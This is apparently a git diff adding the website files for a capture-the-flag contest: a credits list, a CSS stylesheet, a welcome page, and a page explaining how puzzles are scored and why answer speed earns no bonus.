        +
          +
        • Alex Brugh
        • +
        • Paul Ferrell
        • +
        • Jeremy Scott
        • +
        • Danny Quist
        • +
        • Adam Glasgall
        • +
        • Curtis Hash
        • +
        • Aaron McPhall
        • +
        • Patrick Avery
        • +
        • Erin Ochoa
        • +
        • William Phillips
        • +
        • Should your name be here? Please remind me!
        • +
        + +

        Parts of this contest were inspired by:

        +
          +
        • DC949
        • +
        • Tube Warriors
        • +
        • Bad people from around the world (screw you guys, seriously)
        • +
        + +

        Lastly, this contest would not exist were it not for hundreds of + thousands of lines of code from free software authors around the + world, including:

        +
          +
        • Busybox and Buildroot
        • +
        • the Linux kernel
        • +
        • dnsmasq
        • +
        • fnord httpd
        • +
        • ngircd
        • +
        • lua
        • +
        + + diff --git a/packages/p2/www/ctf.css b/packages/p2/www/ctf.css new file mode 100644 index 0000000..08e8ec1 --- /dev/null +++ b/packages/p2/www/ctf.css @@ -0,0 +1,174 @@ +/* green phosphor: #2a4 */ + +/**** Color Scheme ****/ +html { + background: #112 url(smoke.jpg) no-repeat; + background-size: contain; +} + +body, h1:first-child:before { + color: #ddc; +} + +h1, h2, h3 { + color: #1dd; +} + +a { + color: #f80; +} + +a:hover { + color: #112; + background-color: #f80; +} + +.readme, pre { + background-color: #333; +} + +/**** document ****/ + +body { + font-family: sans-serif; + padding: 10px; + max-width: 700px; +} + +/**** heading ****/ + +h1:first-child { + text-transform: lowercase; + font-size: 1.6em; + padding: 3px; + margin: 0 0 1em 70px; +} + +h1:first-child:before { + letter-spacing: -0.1em; + content: "P2: "; +} + +/**** body ****/ + +a img { + border: 0px; +} + +a { + text-decoration: underline; +} + +h1, h2, h3 { + letter-spacing: -0.05em; +} + +.readme { + margin: 1em; +} + +pre { + border: solid #ddc 2px; + padding: 0.25em; +} + + +th { + vertical-align: top; + text-align: center; +} +td { + vertical-align: top; + text-align: left; +} + +dt { + font-weight: bold; +} + +p { + line-height: 1.4em; + margin-bottom: 20px; +} + +hr { + border: 1px solid #ddc; +} + + + +/*** navigation bar ***/ + +nav h2 { + display: none; +} + +nav ul { + list-style: none; + text-align: center; +} + +nav li { + display: inline; +} + +nav li a { + text-transform: lowercase; + font-size: 0.9em; +} + +nav li + li:before { + content: " | "; +} + +/**** special cases ****/ + +.wide { + max-width: inherit; +} + +.figure { + margin: 0.5em 1em; + float: right; + font-size: small; + text-align: center; +} + +/* P2 stuff */ +#puzzler { + /* The puzzler form is not used in Project 2 */ + display: none; +} + +/* Scoreboard stuff */ + +.scoreboard, .scoreboard body { + height: 100%; + margin: 0; + padding: 0; + max-width: none; +} + +#scoreboard { + height: 60%; + font-size: 75%; +} + +#scoreboard td { + height: 100%; +} + +#chart { + height: 30%; + width: 100%; +} + +/* Tanks stuff */ + +#battlefield { + border: 2px solid green; +} + +.solved { + text-decoration: line-through; +} diff --git a/packages/p2/www/index.html b/packages/p2/www/index.html new file mode 100644 index 0000000..9785442 --- /dev/null +++ b/packages/p2/www/index.html @@ -0,0 +1,31 @@ + + + + Welcome + + + +

        Welcome

        + +

        Important Links

        + + +

        + This event would not be possible without the help of many people. + Thank you, people. +

        + + diff --git a/packages/p2/www/scoring.html b/packages/p2/www/scoring.html new file mode 100644 index 0000000..e1bfbae --- /dev/null +++ b/packages/p2/www/scoring.html @@ -0,0 +1,46 @@ + + + + About scoring + + + + +

        About scoring

        +

        + The contest is made up of multiple categories. Each category is + worth one point toward the total score; the percentage of the + total points held by your team is the percentage of one point your + team has for that category. +

        + +

        + Categories are in the form of + multiple puzzles: for each puzzle presented, a + case-sensitive answer must be found to receive the amount of + points that puzzle is worth. Any team may answer any puzzle + question at any time. A new puzzle is revealed when a team + correctly answers the highest-valued puzzle in that category. +

        + + +

        About time

        +

        + Many Capture The Flag contests attempt to reward teams who answer + quickly, by adding a "quick answer" bonus or by decaying point + values over time. Our contest doesn't work this way. +

        +

        + We want to focus on rewarding technical proficiency, allowing + skilled contestants to prove their worth independent of their + ability to hit F5 quickly. It is our hope that by providing + enough things to work on, quick-moving teams will emerge with more + points by solving lots of puzzles, while novice teams get a solid + benchmark against which to judge their technical skill level: you + don't have to make allowances for reaction time in comparing + scores. In addition, when the game infrastructure goes down—which + seems to happen a lot in anybody's CTF—there's no losing points + while the organizers struggle to get things back up. +

        + +